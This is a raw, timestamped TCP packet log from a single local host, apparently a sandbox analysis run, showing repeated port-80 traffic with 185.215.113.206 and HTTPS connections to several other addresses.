Nov 12, 2024 10:37:34.336292028 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.336390018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336402893 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336424112 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.336440086 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.336555004 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336566925 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336577892 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336589098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336600065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336611986 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336632967 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.336656094 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.336827040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336838007 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336847067 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336867094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336868048 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.336879969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336884022 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.336899042 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.336911917 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.336934090 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.337083101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337116957 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.337151051 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337162971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337174892 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337183952 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.337188005 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337204933 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.337218046 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.337376118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337416887 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.337606907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337619066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337629080 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337641001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337651968 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.337652922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337668896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337678909 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.337681055 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337694883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337694883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.337726116 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.337735891 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337747097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337758064 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337766886 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.337770939 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337785006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337794065 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.337800026 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.337821960 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.337836981 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.338229895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338243008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338263035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338274002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338285923 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338291883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.338298082 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338310003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338314056 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.338324070 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.338327885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338340998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338354111 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338365078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338377953 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.338406086 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.338803053 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338815928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338825941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338838100 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338839054 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.338851929 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.338860989 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.338891029 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.339020967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.339032888 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.339044094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.339054108 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.339070082 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.339086056 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.339107037 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.339282990 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.343199968 CET	49937	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.343228102 CET	443	49937	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.343954086 CET	443	49938	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.344126940 CET	443	49938	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.344175100 CET	49938	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.344568968 CET	443	49935	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.344594955 CET	443	49935	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.344655037 CET	443	49935	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.344708920 CET	49935	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.349010944 CET	49935	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.349025965 CET	443	49935	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.356163979 CET	49946	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.356185913 CET	443	49946	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.357188940 CET	49938	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.357223034 CET	443	49938	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.357248068 CET	49938	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.357255936 CET	443	49938	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.365308046 CET	443	49940	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:34.365617990 CET	49940	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:34.365645885 CET	443	49940	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:34.366013050 CET	443	49940	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:34.366638899 CET	49940	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:34.366712093 CET	443	49940	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:34.366929054 CET	49940	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:34.371679068 CET	443	49939	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.371711969 CET	443	49939	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.371763945 CET	443	49939	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.371794939 CET	49939	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.371839046 CET	49939	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.372629881 CET	49947	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.372658968 CET	443	49947	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.372708082 CET	49947	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.375569105 CET	49939	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.375597000 CET	443	49939	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.379524946 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.379590988 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.386096954 CET	49947	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.386122942 CET	443	49947	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.388571978 CET	49948	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.388618946 CET	443	49948	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.388851881 CET	49948	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.389466047 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.389498949 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.389499903 CET	49948	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.389523029 CET	443	49948	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.389559031 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.389662981 CET	49949	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.389674902 CET	443	49949	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.393484116 CET	49950	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.393518925 CET	443	49950	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.393641949 CET	49950	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.394099951 CET	49950	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:34.394119024 CET	443	49950	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:34.407332897 CET	443	49940	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:34.441553116 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.447021008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.491136074 CET	443	49926	104.46.162.225	192.168.2.6
Nov 12, 2024 10:37:34.491678953 CET	49926	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:34.491713047 CET	443	49926	104.46.162.225	192.168.2.6
Nov 12, 2024 10:37:34.491867065 CET	443	49926	104.46.162.225	192.168.2.6
Nov 12, 2024 10:37:34.491918087 CET	49926	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:34.491933107 CET	49926	443	192.168.2.6	104.46.162.225
Nov 12, 2024 10:37:34.567714930 CET	443	49940	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:34.567801952 CET	443	49940	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:34.568041086 CET	49940	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:34.568521023 CET	49940	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:34.568546057 CET	443	49940	3.170.115.57	192.168.2.6
Nov 12, 2024 10:37:34.568564892 CET	49940	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:34.568594933 CET	49940	443	192.168.2.6	3.170.115.57
Nov 12, 2024 10:37:34.653636932 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.653923988 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.654228926 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.654269934 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.654412031 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.654437065 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.654656887 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.654805899 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.655440092 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.655499935 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.655713081 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.655801058 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.655872107 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.655910969 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.659935951 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.660202980 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.660222054 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.661194086 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.661251068 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.661570072 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.661621094 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.661797047 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.661802053 CET	443	49945	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.699328899 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.703327894 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:34.711487055 CET	49945	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:34.718772888 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.718796968 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.718808889 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.718857050 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.718899965 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.719147921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.719191074 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.719196081 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.719208002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.719228983 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.719257116 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.719403982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.719415903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.719428062 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.719449997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.719451904 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.719476938 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.719502926 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.719667912 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.719686031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.719698906 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.719711065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.719724894 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.719747066 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.719902992 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720000029 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.720033884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720046043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720057011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720077991 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720078945 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.720097065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720098972 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.720110893 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720122099 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720124960 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.720134974 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720156908 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.720180035 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.720690966 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720701933 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720712900 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720725060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720736027 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720746040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720757961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720768929 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720772982 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.720782995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720791101 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.720794916 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720803976 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.720809937 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.720834970 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.720859051 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.721287012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.721308947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.721319914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.721330881 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.721337080 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.721343040 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.721363068 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.835807085 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.835877895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.835877895 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.835891008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.835922003 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.835988998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.836000919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.836040020 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.836122036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.836133003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.836152077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.836163044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.836172104 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.836174011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.836198092 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.836210966 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.836498976 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.836512089 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.836525917 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.836544991 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.836549044 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.836565018 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.836589098 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.836744070 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.836788893 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.836791992 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.836807013 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.836817980 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.836826086 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.836846113 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.836860895 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.837165117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837174892 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837183952 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837196112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837214947 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.837219954 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837233067 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837243080 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837249041 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.837255955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837266922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837268114 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.837277889 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837280035 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.837290049 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837304115 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.837332010 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.837634087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837645054 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837656975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837670088 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837687969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.837687969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.837718010 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.837764025 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837780952 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837791920 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.837817907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.837846041 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.838020086 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838032961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838054895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838066101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838073969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.838078022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838090897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838093042 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.838102102 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838109970 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.838114023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838126898 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838138103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838139057 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.838160992 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.838172913 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.838581085 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838593006 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838603973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838624001 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838628054 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.838635921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838645935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838649035 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.838659048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838669062 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838674068 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.838682890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838696003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838702917 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.838706970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838717937 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:34.838730097 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.838752031 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:34.879414082 CET	80	49834	185.215.113.206	192.168.2.6
